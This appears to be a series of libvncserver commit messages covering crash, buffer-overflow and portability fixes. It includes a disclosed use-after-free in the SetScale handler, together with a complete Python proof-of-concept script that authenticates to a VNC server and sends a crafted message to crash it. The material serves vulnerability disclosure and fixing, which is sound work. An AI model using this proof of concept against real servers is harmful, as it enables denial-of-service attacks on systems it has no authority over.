Avoid calling SSL_pending when connection is already closed, calling SSL_pending with connection already closed is crashing.
To reproduce, open a secure websocket binay protocol connection with libvncserver compiled with OpenSSL, and when libvncserver is waiting for rfbProcessClientProtocolVersion send any invalid char, it will fail and call rfbCloseClient whith destroy all SSL context, calling SSL_pending after that will generate a invalid access.
- When processing input, check if there is any extra data
pending in the internal websocket frame and SSL buffers.
- Prevents input events lagging behind because they get
stuck in one of the buffers.
Data pending in our own buffers cannot be detected with
select() so was not processed until more input arrives
from the network.
- Closes # 55
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
Reported by Ken Johnson <Ken.Johnson1@telus.com>.
The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)
if (msg.ssc.scale == 0) {
rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
rfbCloseClient(cl);
return;
}
rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);
rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
return;
at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.
else
{
rfbResizeFrameBufferMsg rmsg;
rmsg.type = rfbResizeFrameBuffer;
rmsg.pad1=0;
rmsg.framebufferWidth = Swap16IfLE(cl->scaledScreen->width);
rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write");
rfbCloseClient(cl);
rfbClientConnectionGone(cl); << Call which may can lead to a free.
return FALSE;
}
}
return TRUE;
Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.
POC script to trigger the vulnerability:
---snip---
import socket,binascii,struct,sys
from time import sleep
class RFB:
INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
AUTH_NO_PASS = "\x01"
AUTH_PASS = "\x02"
SHARE_DESKTOP = "\x01"
def AUTH_PROCESS(self,data,flag):
if flag == 0:
# Get security types
secTypeCount = data[0]
secType = {}
for i in range(int(len(secTypeCount))):
secType[i] = data[1]
return secType
elif flag == 1:
# Get auth result
# 0 means auth success
# 1 means failure
return data[3]
def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
try:
from Crypto.Cipher import DES
except:
print "Error importing crypto. Please fix or do not require authentication"
sys.exit(1)
if len(PASSWORD) != 8:
PASSWORD = PASSWORD.ljust(8, '\0')
PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
crypto = DES.new(PASSWORD)
return crypto.encrypt(data)
def reverse_bits(self,x):
a=0
for i in range(8):
a += ((x>>i)&1)<<(7-i)
return a
def main(argv):
print "Proof of Concept"
print "Copyright TELUS Security Labs"
print "All Rights Reserved.\n"
try:
HOST = sys.argv[1]
PORT = int(sys.argv[2])
except:
print "Usage: python setscale_segv_poc.py <host> <port> [password]"
sys.exit(1)
try:
PASSWORD = sys.argv[3]
except:
print "No password supplied"
PASSWORD = ""
vnc = RFB()
remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote.connect((HOST,PORT))
# Get server version
data = remote.recv(1024)
# Send 3.8 version
remote.send(vnc.INIT_3008)
# Get supported security types
data = remote.recv(1024)
# Process Security Message
secType = vnc.AUTH_PROCESS(data,0)
if secType[0] == "\x02":
# Send accept for password auth
remote.send(vnc.AUTH_PASS)
# Get challenge
data = remote.recv(1024)
# Send challenge response
remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))
elif secType[0] == "\x01":
# Send accept for None pass
remote.send(vnc.AUTH_NO_PASS)
else:
print 'The server sent us something weird during auth.'
sys.exit(1)
# Get result
data = remote.recv(1024)
# Process result
result = vnc.AUTH_PROCESS(data,1)
if result == "\x01":
# Authentication failure.
data = remote.recv(1024)
print 'Authentication failure. Server Reason: ' + str(data)
sys.exit(1)
elif result == "\x00":
print "Authentication success."
else:
print 'Some other authentication issue occured.'
sys.exit(1)
# Send ClientInit
remote.send(vnc.SHARE_DESKTOP)
# Send malicious message
print "Sending malicious data..."
remote.send("\x08\x08\x00\x00")
remote.close()
if __name__ == "__main__":
main(sys.argv)
---snap---
There was a possible buffer overflow in rfbFileTransferOffer message when
processing the FileTime.
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
GCC < 4.6 failed to parse the declaration of ws_header_t correctly because
it did not accept anonymous structs and unions. [1]
Work around the bug by adding names to the unions and structs. Ugly, but
works.
[1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784
byteswap.h exists only on glibc, so building libvncserver with websockets
support was not possible in other systems.
Replace the inclusion of byteswap.h and the WS_* definitions with calls to
htobeNN, which should perform the same conversions, be more portable and
avoid the need to check for the platform's endianness.
The current definitions were mostly useful to glibc and followed its
feature_test_macros(3) documentation.
However, this means other platforms still had problems when building with
strict compilation flags. _BSD_SOURCE, for example, is only recognized by
glibc, and other platforms sometimes need _XOPEN_SOURCE instead, or even the
removal of some definitions (such as the outdate _POSIX_SOURCE one).
_POSIX_SOURCE also had to be conditionally defined in some places, as what
it enables or disables during compilation varies across systems.
Building with -ansi failed due to some code (as well as system
headers) using non-C89 features. Fix that by adding the usual
_POSIX_SOURCE and _BSD_SOURCE definitions already present in some
other files.